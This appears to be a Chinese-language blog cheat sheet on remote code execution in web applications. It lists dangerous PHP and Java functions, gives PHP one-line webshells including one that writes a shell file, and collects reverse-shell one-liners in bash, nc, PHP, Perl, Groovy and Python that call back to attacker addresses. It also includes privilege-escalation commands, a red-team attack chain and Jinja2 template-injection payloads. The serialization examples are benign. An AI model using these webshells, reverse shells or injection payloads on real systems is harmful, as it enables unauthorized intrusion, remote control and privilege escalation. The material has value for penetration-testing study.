本文涉及到反序列化和服务器模板注入的部分,由于作者本人水平以及该部分RCE 什么都沾点边的等原因,可能介绍得非常浅陋,请大家见谅或者自行绕过本文。
然后关于空格过滤,等价绕过,编码绕过,通配符与逻辑运算符等老生常谈的话题,本文也懒得介绍了。这些基本功对于各位大佬选手来说都及其容易掌握,而且大家更多关注RCE的原因是各类评分高的RCE,比如ThinkPHP,React,Vim等。这里建议读者自行搭建靶场,并时刻关注安全社区即可。
Webshell
这些代码执行与命令执行等系统函数[1],主要通过简单的一句话木马、小马、大马、内存马直接调用或者间接执行命令。如果没有上传Webshell成功,这些系统函数可能会无法利用到位。
//代码执行与命令执行
eval
assert
preg_replace
call_user_func
call_user_func_array
java.lang.Runtime、java.lang.ProcessBuilder、java.lang.UNIXProcess/ProcessImpl
system
exec
shell_exec
passthru
popen
//常见的一句话木马
<?php @eval($_POST["cmd"])?> //eval系统函数,除此之外还有exec,passthru,system,assert等
fputs(fopen('shell.php','w+'),'<?php @eval($_POST[cmd])?>');
反弹shell
上传木马之后,可能会用到的执行命令。
whoami
id
uname -a
pwd
ip a
netstat -antp
arp -a
常见的反弹shell姿势以及权限提升阶段或权限维持阶段利用到的提权方式[2]。
bash -i >& /dev/tcp/attacker_ip/8080 0>&1
nc -e /bin/bash 10.42.0.1 1234
python3 -c 'import pty; pty.spawn("/bin/bash")'
php -r '$sock=fsockopen("192.168.31.41",8080);exec("/bin/sh -i <&3 >&3 2>&3");'
perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()
//提权详见https://juejin.cn/post/6950955544781783054
find / -perm -4000 -type f 2>/dev/null
sudo -l
bash -i >& /dev/tcp/IP/PORT 0>&1
import socket,subprocess,os
s=socket.socket()
s.connect(("IP",PORT))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
subprocess.call(["/bin/sh","-i"])
红队正常的完整攻击流程如下:
1. 文件上传漏洞
↓
2. WebShell
↓
3. 命令执行
↓
4. 反弹 Shell
↓
5. Shell 升级
↓
6. 信息收集
↓
7. 内网扫描
↓
8. 横向移动
↓
9. 提权(root / SYSTEM)
反序列化&序列化
在StackOver Flow当中,序列化指的是将字符串序列转化为对象,反序列化则指的是这一个逆过程。下面是一个Python版本的pikckle反序列化,来源于[3]
#!/usr/bin/python
# Write Python 3 code in this online editor and run it.
import pickle
grades = { 'Alice': 89, 'Bob': 72, 'Charles': 87 }
serial_grades = pickle.dumps(grades)
print(serial_grades) # 打印序列化后的字节串
received_grades = pickle.loads(serial_grades)
print(received_grades)
#b'\x80\x04\x95#\x00\x00\x00\x00\x00\x00\x00}\x94(\x8c\x05Alice\x94KY\x8c\x03Bob\x94KH\x8c\x07Charles\x94KWu.'
#{'Alice': 89, 'Bob': 72, 'Charles': 87}
关于Java版本的反序列化,参考文章4、5。
import java.io.*;
class Person implements Serializable {
private String name;
private int age;
// Constructor, getters, setters...
}
// Serialization
Person person = new Person("John", 30);
FileOutputStream fileOut = new FileOutputStream("person.ser");
ObjectOutputStream out = new ObjectOutputStream(fileOut);
out.writeObject(person);
out.close();
fileOut.close();
// Deserialization
FileInputStream fileIn = new FileInputStream("person.ser");
ObjectInputStream in = new ObjectInputStream(fileIn);
Person deserializedPerson = (Person) in.readObject();
in.close();
fileIn.close();
SSTI
本部分我也不想重复造轮子了,详细参考文章6、7吧。整体来说,是找基类、拿子类找到继承关系之后,找到可执行的系统函数,最后再将其当作RCE来处理。
## 序号查找
{% set ns = namespace(counter=0) %}
{% for x in [].__class__.__base__.__subclasses__() %}
{% if x.__init__ is defined and x.__init__.__globals__ is defined and 'eval' in x.__init__.__globals__['__builtins__']['eval'].__name__ %}
{{ ns.counter}}
{% endif %}
{% set ns.counter = ns.counter + 1 %}
{% endfor %}
## 类名格式化输出
{% for x in [].__class__.__base__.__subclasses__() %}
{% if x.__init__ is defined and x.__init__.__globals__ is defined and 'eval' in x.__init__.__globals__['__builtins__']['eval'].__name__ %}
{{ x.__name__ }} <br>
{% endif %}
{% endfor %}
参考文章: